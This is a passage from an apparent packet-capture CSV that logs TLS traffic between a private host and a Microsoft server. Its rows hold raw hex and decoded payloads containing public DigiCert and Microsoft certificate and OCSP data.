c0d54c71fa93d4d0a460962d0232251e38e374cc5f40140990582d3a2b0530203010001a38202813082027d300e0603551d0f0101ff040403020186301006092b06010401823715010403020100301d0603551d0e04160414540cbcec18f77df103e284be34644467cf751f6530130603551d20040c300a3008060667810c01020230130603551d25040c300a06082b06010505070301301906092b0601040182371402040c1e0a0053007500620043004130120603551d130101ff040830060101ff020100301f0603551d23041830168014de918648b7a1315931f14b5f07a9dc8879daa8763081ab0603551d1f0481a33081a030819da0819aa081978649687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c864a687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c3082011006082b06010505070101048201023081ff306306082b060105050730028657687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274306906082b06010505073002865d687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370300d06092a864886f70d01010c050003820201007c4871c2b6c045ab740fc63f49e2fc0fd675fdcd50d1e04bb3b3d1a8995ffe5d350d6c0bddd0ad6160188938e2f0b735d2b5213a0c0e5899387cd4d7dd024dd4dcf5ee90e3\"\"}}]\"\n2026-06-14 14:22:50.149230,87,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=4197188446 Ack=962448401,bc2411360d0cbc24112907bb080045000b90801740004006d41d2862102e0a98980b01bbfa0efa2c035e395dcc115018003fe6b500007b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514da82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382cdd56c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007430100073f3082073b0a0100a08207343082073006092b0601050507300101048207213082071d3081c5a2160414e2cab40b0a70a5b33530fee4548669e9464f3ab8180f32303236303631333133353234345a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303631333130313330395aa011180f32303236303632313130333330395aa120301e301c06092b0601040182371504040f170d3236303631373130323330395a300d06092a864886f70d01010b05000382010100bdff9c5a5b6d24e8fe6a339a508bb53da7de72718215c87279b77817d85cd950c126bc66970cfcd81d6fbb4cff737c298392e308a36702ddb2c3965e0b1a721a7fe1c442d6579f800cb2abbe69b46aba0ee7e7180ea770a25c069f3badc6d85316f6d73cb0a507e50cb1c49e586cf1c4172959141220ef47a5d72a9850bf329a87afd99223e43f1e4ee26ccf594d98d8522acb293105f6e0e82e2af6a79f657d1f0d0164594db56bc0237377ea2bf9fc224e09d1941d448a5a6e99c7b1c654d94dd57781dce0a33e305eba1faaa0fcf190a31d9d9165f996af1644d9fff56c72a7b22f27d2b15ff827c7775edcdf169ed2e1ffb4d9b1ba1cdd5543f545f78e13a082053d30820539308205353082031da0030201020213430059494d74f16a9c2373d32200000059494d300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303631323135353032325a170d3236303731323135353032325a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100dbc738a417a65160b72a63a87adb53b3576fc4acbddcd68988bfbe2d3391905251046663010dc9e6d8727cabf3c5ed6431ebdf7726146c95d3df8a714507cb9426489640dbfbe781b725f40074cae608a7d8844921daeaff7e762be5dd30f8a2cb7ccde38f9b2e36687c98ebb850d50e94a89af3edc8bb56fda9aaeef4e3937631702b8715635fa73ee2a5dfa334977c0985d44d2251c22d2554f5113328d2636ab9cd49d0056a4ca9fada84279f5d9c0f15e99194dad6faf2fa4fca7a9030d1bfa85466f3bc59a036bbf3fd7f18d978147b6a0a,\"{g.....P..O.........#3....'..[.o..K...P.....O....\"\"*...K.....6\t..CON..~\\.k..I>....R..?q.$/7..lt....!..Pgp$...\"\"...'..|...f...U....!\nr.e.`.PI..#H :..&.......=.L....<D.......{3=.^d.'=.L.q.f...N.d.T+.....g.7.\nc ......:.B\"\".\"\".&U.0...B...6.6R.sgzsnT........m.'P.....T)M.........d..G1e.y}......v.;(..Do$W....Z..X.V....uq..S.....\"\"L.k.].DY<$k...}._JM..T..v..(MEte.`!..y_..........Y.<'w.V.....=.......Y.XHl}..2...-.......e................(..1w4......6..%....0...0..q.........k,Fi..Gs.G....0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n250521000000Z.\n290619235959Z0Q1.0\t..U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\"\"0\n.\t*.H..\n..........0..\n.........G.(.q.A....W.k.....:`.....[.2.{..r'k]@......\n....t../.....3.W.. |!.....Nd.Z.Ku...dM.R.........?..NE9^.)...g........J..9..\t.3A.....u.S.!.\\DL.`W.........2J..Q.....?6./oL9..i\"\".;u...>....A8.~FH....p.....r.~}.lN.p......b..k..........1K..k3........J._..1v8?.Gl........_.l.....*.{..(.1..SLuf.}...`.e.1.r...-.D..W.n....e.r-....~I.Yg.\t...m..Ex..`j....$;sJZ..>.a.x....0.J8-.X.. .6*..2..8.....E.|...b...q.....\n\t......8B4.i....s..C.C.X.O....=.:@8.....d..c...U\tZ....>...d......M.E..e.%.......[.P....] .g.y.....o. r0...u'5........K0..G0...U.......0....0...U.........H..1Y1.K_....y..v0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0\n..+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0...U. ..0\n0...g.....0\n.\t*.H..\n.............+7t.K.6.6...........D..T...A.F..v4..Ub5.....Zb.C...J..k....%f..yn[%.$...y-5_B\tx...e.. P...j:...H...\t.....u.'%Z..:pl.G.c.S...5 ..=.....$.EVw.g.1B.W..&..C.W.c...:..{K.....f.gg\t..L...+.\"\"=}....c8,.V..\tR....o.mk..A/.>.1..|J..a.FF(.W..o...w%.{.).;ry....Tm5+.z...C...?0..;\n.....40..0.\t+.....0.....!0...0..........\np..50..T.i.FO:...20260613135244Z0..0..0L0\t..+...........j\t...m.H..x.K.g.W..T.....}.....4dDg.u.e..C.\n..T..........\n......20260613101309Z....20260621103309Z. 0.0..\t+.....7.....\n260617102309Z0\n.\t*.H..\n.............Z[m$..j3.P..=..rq...ry.x..\\.P.&.f.....o.L.s|).....g.....^..r....B.W......i.j.......p.\\..;...S...<........Xl...)Y.. .G..*.P.2.....#.?.N.l.YM..R*.)1.....*...e}.\n.dYM.k.#sw.+..\"\"N\t...D.Zn....T.M.w....>0^...........e....D...lr../'.._.'.w^.............UC.E......=0..90..50..........C.YIMt.j.#s.\"\"...YIM0\n.\t*.H..\n.....0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\n260612155022Z.\n260712155022Z0n1.0\t..U....US1.0\t..U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....TLS-G2-RSA-04 OCSP Cert0..\"\"0\n.\t*.H..\n..........0..\n.......8...Q`.*c.z.S.Wo.........-3..RQ.fc.\n...r|....d1..w&.l....qE...&H.@.....%..t......I!...~v+..0...|.....6h|...P.........V.......v1p+..c_.>....4.|\t..M\"\"Q.-%T..3(.cj..I..jL....'.]...........O.z.0...Tf..Y.6......x.{j\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2960, \"\"id\"\": 32791, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 54301, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197188446, \"\"ack\"\": 962448401, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 59061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"7b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514da82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382cdd56c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007430100073f3082073b0a0100a08207343082073006092b0601050507300101048207213082071d3081c5a2160414e2cab40b0a70a5b33530fee4548669e9464f3ab8180f32303236303631333133353234345a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303631333130313330395aa011180f32303236303632313130333330395aa120301e301c06092b0601040182371504040f170d3236303631373130323330395a300d06092a864886f70d01010b05000382010100bdff9c5a5b6d24e8fe6a339a508bb53da7de72718215c87279b77817d85cd950c126bc66970cfcd81d6fbb4cff737c298392e308a36702ddb2c3965e0b1a721a7fe1c442d6579f800cb2abbe69b46aba0ee7e7180ea770a25c069f3badc6d85316f6d73cb0a507e50cb1c49e586cf1c4172959141220ef47a5d72a9850bf329a87afd99223e43f1e4ee26ccf594d98d8522acb293105f6e0e82e2af6a79f657d1f0d0164594db56bc0237377ea2bf9fc224e09d1941d448a5a6e99c7b1c654d94dd57781dce0a33e305eba1faaa0fcf190a31d9d9165f996af1644d9fff56c72a7b22f27d2b15ff827c7775edcdf169ed2e1ffb4d9b1ba1cdd5543f545f78e13a082053d30820539308205353082031da0030201020213430059494d74f16a9c2373d32200000059494d300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303631323135353032325a170d3236303731323135353032325a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100dbc738a417a65160b72a63a87adb53b3576fc4acbddcd68988bfbe2d3391905251046663010dc9e6d8727cabf3c5ed6431ebdf7726146c95d3df8a714507cb9426489640dbfbe781b725f40074cae608a7d8844921daeaff7e762be5dd30f8a2cb7ccde38f9b2e36687c98ebb850d50e94a89af3edc8bb56fda9aaeef4e3937631702b8715635fa73ee2a5dfa334977c0985d44d2251c22d2554f5113328d2636ab9cd49d0056a4ca9fada84279f5d9c0f15e99194dad6faf2fa4fca7a9030d1bfa85466f3bc59a036bbf3fd7f18d978147b6a0a\"\"}}]\"\n2026-06-14 14:22:50.149514,88,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=962448401 Ack=4197191366,bc24112907bbbc2411360d0c080045000028af9a4000800670020a98980b2862102efa0e01bb395dcc11fa2c0ec650100400c6750000,\".$.)...$.6\n...E..(..@...p.\n...(b......9]...,..P....u..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44954, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28674, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448401, \"\"ack\"\": 4197191366, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 50805, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:50.149520,89,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=4197191366 Ack=962448401,bc2411360d0cbc24112907bb0800450004c3801940004006dae82862102e0a98980b01bbfa0efa2c0ec6395dcc115018003fdfe8000069a7db7f6574e0300ce167410f85b89ac50aa80a36f0eef2c3b2d0ddb7abbf8e0da289a34bdeb5f560f12b010203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414e2cab40b0a70a5b33530fee4548669e9464f3ab8301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c050003820201004d4645825ff4080daccbb516d653340862f875651fe2d102254fa29eecea9270a59e4d36b90235e47e430be05480ff04846d6a4cfd1e2eedbf179500ee428669347d5471dde21bdc19cd3eebdbd2b8ba9f0641ed12753f7d27f7aec0c0aae30696bd9fd13f0fd7e1d610ce384abe13af4914f79c1e912048abee625746e86ce645b4e53f43680eb327489e55fca560447bf1db90fc45d60940549c78cfddce26d7a3dc8bf629d7f83a458ce71a0755891a42329adf14c9c19ad21bca16da2e2bbb7b594f6d47f1dd9e254938ce4e950e78ca6a33271d5a20b53aae43dfcf8124338af9e8013bd749d5c3fc13b2637c287a886697a8c1b0902ecb3e34e006a6e0df58634f60cdead0f0cf538fa9d282c91084ec4d2da3504ae35641dde9af10f32c0aa5a1a549947bab82a7b6989c34edb3a95779582ea3e0014978f2ee0496d6bb50d4212de0630dc98b8be2d880ad934491a4100bc032e8f75c713748f2eec7b8d49f8e46a1335f1eb07e543da0982ba3a2063033b9f0e0c43b0d7b757124446f0ae72074a99b717a9800582d4be8a15ef6f4a433866b044d6b855b56e054190c69c01b7029da574b8c7ed775c2c63bf4b51d2ef29d852485281b78aa1c3c8637ed98ba4bd0051205dee8bcc8f3b25e445b7961053b19a1ddacedca6aaa89011effbbe7ae39139106a6e918045d488081d7023e473c68be7ba2126d6b4720320c00016903001861041f049dcd138b3efeae2e61046dadc125689ec535078651d6849e75605863991cc4dcb261de085a48951bc95eb4b1aa019728071af9872fa956e4ec620188cb6c1df6036a3a0050d36dd6c70a48ed671b473cb88042df1a671a3cbc6940aad58308040100a5c009df8e4e907d5fa197d056be82944005d3a7a3bcc95f6367f90db855d90dfe91f5a6046e90f0a709ea5cc2caa9cf75207ceb317e50cec00f1b1d83a50e0a02973305bfb331ef22e9f8cf1ea94eb3e8dfa1a3212b02fd32020130c6c290831d81a27213ce5fbe5e0d43d48cbf00d3497cbe4f30a41cbd7fbac3930942f299afac27dc404f21eeee58e4148229bf720cbf8e2d1a5893e12923c40879e4f7c08044f34de28d8d7d24bce53320e37cf1d66bc032672469b7cab5cc071a4d8f56a3d9fbb8efd3b5006b3a77b15dfc22af0590a9acb2e61a21494d3256034a254e51bc2508ec7a73b3f4026bcb0f22afb2a2bd87420099882a8f8a1bd60915a02c0e000000,\"i...et.0..gA.....\n.\n6...........\n...K...`.+.........0..0...U.......0.0...U.%..0\n..+......\t0...U..........\np..50..T.i.FO:.0...U.#..0...T.....}.....4dDg.u.e0...U...........0<.\t+.....7.../0-.%+.....7.........F...........]...\"\"......d...0..\t+.....7.\n..0.0\n..+......\t0..\t+.....0......0\n.\t*.H..\n..........MFE._..\n.....S4.b.ue....%O.....p..M6..5.~C..T....mjL.........B.i4}Tq......>.......A..u?}'...........?......8J...I..... H..bWF.l.E..?Ch..'H.U..`D{....E.\t@T.x...&.....)..:E....U..B2............+.{YOmG...%I8.N..x.j3'.Z .:.C...$3....;.I.....c|(z.f.......>4.....XcO`.....S........M-.PJ.VA.....,\n...I.{......4...WyX....Ix......P.!-.c\n........D.....2..\\q7H.......F.3_..~T=..+...03....;\n{uq$Do\n. t..qz..X-K..^...3.k.Mk.[V.T..i..p).WK.~.u..;.......$.(.x..<.7...K..........^D[ya.;......j........9.......]H....>G<h.{..mkG 2...i...a.......>...a.m..%h..5..Q...u`Xc.....a..ZH...^.....(..../.V..b...l...j:.P.m..\nH.g.G<..B..g.<.i@.........\t..N.}_...V...@......_cg.\n.U.\n.....n...\t.\\....u |.1~P........\n..3...1.\"\".....N.....!+..2..0.......r.._.^\nC.....I|.O0.......\tB....'.@O!..X...).r...-.X..)#..y....D.M...}$..3 .|..k.2g$i......M.V........k:w.].\"\"........!IM2V.J%NQ.%..zs...k..\"\".....B...*....\t..,....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1219, \"\"id\"\": 32793, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56040, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197191366, \"\"ack\"\": 962448401, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 57320, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"69a7db7f6574e0300ce167410f85b89ac50aa80a36f0eef2c3b2d0ddb7abbf8e0da289a34bdeb5f560f12b010203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414e2cab40b0a70a5b33530fee4548669e9464f3ab8301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c050003820201004d4645825ff4080daccbb516d653340862f875651fe2d102254fa29eecea9270a59e4d36b90235e47e430be05480ff04846d6a4cfd1e2eedbf179500ee428669347d5471dde21bdc19cd3eebdbd2b8ba9f0641ed12753f7d27f7aec0c0aae30696bd9fd13f0fd7e1d610ce384abe13af4914f79c1e912048abee625746e86ce645b4e53f43680eb327489e55fca560447bf1db90fc45d60940549c78cfddce26d7a3dc8bf629d7f83a458ce71a0755891a42329adf14c9c19ad21bca16da2e2bbb7b594f6d47f1dd9e254938ce4e950e78ca6a33271d5a20b53aae43dfcf8124338af9e8013bd749d5c3fc13b2637c287a886697a8c1b0902ecb3e34e006a6e0df58634f60cdead0f0cf538fa9d282c91084ec4d2da3504ae35641dde9af10f32c0aa5a1a549947bab82a7b6989c34edb3a95779582ea3e0014978f2ee0496d6bb50d4212de0630dc98b8be2d880ad934491a4100bc032e8f75c713748f2eec7b8d49f8e46a1335f1eb07e543da0982ba3a2063033b9f0e0c43b0d7b757124446f0ae72074a99b717a9800582d4be8a15ef6f4a433866b044d6b855b56e054190c69c01b7029da574b8c7ed775c2c63bf4b51d2ef29d852485281b78aa1c3c8637ed98ba4bd0051205dee8bcc8f3b25e445b7961053b19a1ddacedca6aaa89011effbbe7ae39139106a6e918045d